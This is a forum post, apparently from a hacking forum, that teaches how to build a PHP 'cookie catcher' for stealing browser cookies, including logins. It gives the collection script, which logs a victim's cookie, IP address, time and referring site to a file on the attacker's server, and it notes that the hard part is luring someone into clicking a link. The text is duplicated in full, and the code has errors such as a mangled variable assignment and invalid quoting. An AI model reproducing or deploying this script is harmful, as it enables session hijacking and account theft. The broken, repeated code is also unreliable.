Server_CM
10-20-2014, 06:55 PM
This article will teach you how to make a cookie catcher.
What is a cookie?
A cookie is a special thing used store information on a web browser such as user logins, passwords, etc.
What is a cookie catcher?
A cookie catcher is a php script which captures a browser's cookies.
Is making a cookie catcher hard?
Not at all. The hard part is getting someone to click on a link which contains the cookie catcher.
Creating The Cookie Catcher:
Now we are going to get down to the cookie catcher.
First you need a webserver that supports php.
Now that you have that we can begin.
Here is the cookie catcher:
Quote:
$cookie = $_GET['cookie'];
$ip = $_SERVER['REMOTE_ADDR'];
$date=date(“j F, Y, g:i a”);;
$refere$_SERVER['HTTP_REFERER'];
$fp = fopen('cookies.html', 'a');
fwrite($fp, 'Cookie: '.$cookie.'
IP: ' .$ip. '
Date and Time: ' .$date. '
Website: '.$referer.'
');
fclose($fp);
header (\"javascript:history.back()\");
?>
What is a cookie?
A cookie is a special thing used store information on a web browser such as user logins, passwords, etc.
What is a cookie catcher?
A cookie catcher is a php script which captures a browser's cookies.
Is making a cookie catcher hard?
Not at all. The hard part is getting someone to click on a link which contains the cookie catcher.
Creating The Cookie Catcher:
Now we are going to get down to the cookie catcher.
First you need a webserver that supports php.
Now that you have that we can begin.
Here is the cookie catcher:
Quote:
$cookie = $_GET['cookie'];
$ip = $_SERVER['REMOTE_ADDR'];
$date=date(“j F, Y, g:i a”);;
$refere$_SERVER['HTTP_REFERER'];
$fp = fopen('cookies.html', 'a');
fwrite($fp, 'Cookie: '.$cookie.'
IP: ' .$ip. '
Date and Time: ' .$date. '
Website: '.$referer.'
');
fclose($fp);
header (\"javascript:history.back()\");
?>